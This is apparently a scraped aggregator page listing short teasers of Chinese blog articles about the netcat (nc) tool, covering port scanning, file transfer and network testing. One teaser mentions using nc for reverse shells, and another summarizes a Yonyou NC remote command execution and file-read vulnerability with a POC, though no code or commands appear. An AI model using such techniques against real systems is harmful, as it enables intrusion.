    網(wǎng)絡(luò)安全-nc(Netcat)工具詳解

    經(jīng)常在反彈shell的時(shí)候使用nc命令,但是從來沒有了解過,今天翻書看到了,準(zhǔn)備記錄一下。 nc全稱Netcat,是TCP/IP連接的瑞士軍刀。哈哈我最喜歡瑞士軍刀了。 有一個(gè)比較偏的知識(shí)點(diǎn),nc還可以探測(cè)目標(biāo)的端口是否開放, 比如如下, 其80端口是開放的。 使用nc來監(jiān)聽端口,等

    2024年02月21日
    瀏覽(20)
  • Linux命令之nc命令

    Linux命令之nc命令

    nc是netcat的簡寫,是一個(gè)功能強(qiáng)大的網(wǎng)絡(luò)工具,有著網(wǎng)絡(luò)界的瑞士軍刀美譽(yù)。nc命令在linux系統(tǒng)中實(shí)際命令是ncat,nc是軟連接到ncat。nc命令的主要作用如下: 實(shí)現(xiàn)任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口 端口的掃描,nc可以作為client發(fā)起TCP或UDP連接 機(jī)

    2024年02月13日
    瀏覽(20)
  • 【Linux】nc 網(wǎng)絡(luò)診斷 | 文件傳輸 命令詳解

    【Linux】nc 網(wǎng)絡(luò)診斷 | 文件傳輸 命令詳解

    目錄 一、命令簡介 二、命令使用 2.1 測(cè)試服務(wù)器 2.2 端口連通性測(cè)試 2.2.1tcp端口連通性測(cè)試 2.2.2udp端口連通性測(cè)試 2.3 文件及目錄的傳輸 2.3.1 文件傳輸(TCP端口) 2.3.2 文件傳輸(UDP端口) ? 相關(guān)文章: 【網(wǎng)絡(luò)】抓包工具Wireshark下載安裝和基本使用教程 【Linux】網(wǎng)絡(luò)診斷 ping命令詳

    2024年01月18日
    瀏覽(25)
  • Linux命令200例:nc非常有用的網(wǎng)絡(luò)工具(常用)

    Linux命令200例:nc非常有用的網(wǎng)絡(luò)工具(常用)

    ??作者簡介,黑夜開發(fā)者,全棧領(lǐng)域新星創(chuàng)作者?。CSDN專家博主,阿里云社區(qū)專家博主,2023年6月csdn上海賽道top4。 ??數(shù)年電商行業(yè)從業(yè)經(jīng)驗(yàn),歷任核心研發(fā)工程師,項(xiàng)目技術(shù)負(fù)責(zé)人。 ??本文已收錄于專欄:Linux命令大全。 ??本專欄我們會(huì)通過 具體的系統(tǒng)的命令講解 加上

    2024年02月12日
    瀏覽(28)
  • 【Flink學(xué)習(xí)】NC工具安裝使用 Linux命令 Windows安裝

    【Flink學(xué)習(xí)】NC工具安裝使用 Linux命令 Windows安裝

    工具安裝 01-NC安裝Windows版 既往學(xué)習(xí)沒有留痕習(xí)慣,用的時(shí)候熟練過后就忘記了,重新開始記錄學(xué)習(xí)Flink之路,F(xiàn)ighting! NC是一款用于端口測(cè)試、掃描的網(wǎng)絡(luò)工具。在Flink學(xué)習(xí)中,主要用于創(chuàng)建端口輸入數(shù)據(jù)模擬數(shù)據(jù)流。 地址為: https://eternallybored.org/misc/netcat/ 注意!??! Win

    2024年02月05日
    瀏覽(19)
  • 08-linux網(wǎng)絡(luò)管理-nc命令(TCP|UDP網(wǎng)絡(luò)聯(lián)通測(cè)試,文件傳輸,帶寬測(cè)試)

    08-linux網(wǎng)絡(luò)管理-nc命令(TCP|UDP網(wǎng)絡(luò)聯(lián)通測(cè)試,文件傳輸,帶寬測(cè)試)

    - 監(jiān)聽TCP端口(默認(rèn)) 說明: -l 啟動(dòng)監(jiān)聽模式(作為服務(wù)器監(jiān)聽指定端口) -v 顯示信息和錯(cuò)誤 - 監(jiān)聽UDP端口 說明: -u UDP模式 - 鏈接TCP端口 - 鏈接UDP端口 說明: -z 鏈接不傳輸數(shù)據(jù) - 接收數(shù)據(jù)重定向 - 上傳數(shù)據(jù) 檢查本地服務(wù)器是和 10.10.239.65的80端口是否能建立TCP鏈接。 如上

    2024年01月24日
    瀏覽(28)
  • 【Linux】之nc命令(連接與掃描指定端口、監(jiān)測(cè)服務(wù)端口的使用情況)解析、詳解實(shí)例、郵件告警

    【Linux】之nc命令(連接與掃描指定端口、監(jiān)測(cè)服務(wù)端口的使用情況)解析、詳解實(shí)例、郵件告警

    ????? 博主簡介 ????云計(jì)算領(lǐng)域優(yōu)質(zhì)創(chuàng)作者 ????華為云開發(fā)者社區(qū)專家博主 ????阿里云開發(fā)者社區(qū)專家博主 ?? 交流社區(qū): 運(yùn)維交流社區(qū) 歡迎大家的加入! ?? 希望大家多多支持,我們一起進(jìn)步!?? ??如果文章對(duì)你有幫助的話,歡迎 點(diǎn)贊 ???? 評(píng)論 ?? 收藏

    2024年02月02日
    瀏覽(22)
  • linux中ping命令網(wǎng)絡(luò)不可達(dá)或ping www.baidu.com未知的名稱與服務(wù)

    linux中ping命令網(wǎng)絡(luò)不可達(dá)或ping www.baidu.com未知的名稱與服務(wù)

    linux提示網(wǎng)絡(luò)不可達(dá)/未知的名稱與服務(wù) 檢查靜態(tài)ip地址、網(wǎng)關(guān)、子網(wǎng)掩碼 、域名解析地址是否配置完成,是否設(shè)為靜態(tài) ?重啟網(wǎng)絡(luò): 1.查看網(wǎng)卡: 2.查看網(wǎng)關(guān) ? ?發(fā)現(xiàn)此時(shí)網(wǎng)關(guān)并未設(shè)置成功 ?添加網(wǎng)關(guān) 設(shè)置完成? ping通

    2024年02月11日
    瀏覽(22)
  • 用友NC BeanShell命令執(zhí)行漏洞(CNVD-2021-30167)+任意文件讀取漏洞+接口信息泄露

    用友NC BeanShell命令執(zhí)行漏洞(CNVD-2021-30167)+任意文件讀取漏洞+接口信息泄露

    用友NC是一款企業(yè)級(jí)管理軟件,在大中型企業(yè)廣泛使用。實(shí)現(xiàn)建模、開發(fā)、繼承、運(yùn)行、管理一體化的IT解決方案信息化平臺(tái)。用友 NC bsh.servlet.BshServlet 存在遠(yuǎn)程命令執(zhí)行漏洞,通過BeanShell 執(zhí)行遠(yuǎn)程命令獲取服務(wù)器權(quán)限。 漏洞POC 訪問出現(xiàn)這個(gè)頁面 可能存在漏洞(還有一種情

    2024年02月11日
    瀏覽(33)
  • 網(wǎng)絡(luò)測(cè)試工具ncat

    網(wǎng)絡(luò)測(cè)試工具ncat

    簡介 官網(wǎng):Ncat - Netcat for the 21st Century 幫助文檔:https://nmap.org/ncat/guide/index.html windows版安裝:安裝nmap時(shí)自動(dòng)會(huì)安裝ncat linux安裝:可通過yum或apt方式安裝ncat ncat與nc(netcat)的區(qū)別: ? ? ncat與netcat是不同的開發(fā)者,ncat是netcat的增強(qiáng)版;ncat與nmap是同一組織開發(fā)維護(hù),有nmap作為更

    2024年01月18日
    瀏覽(15)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包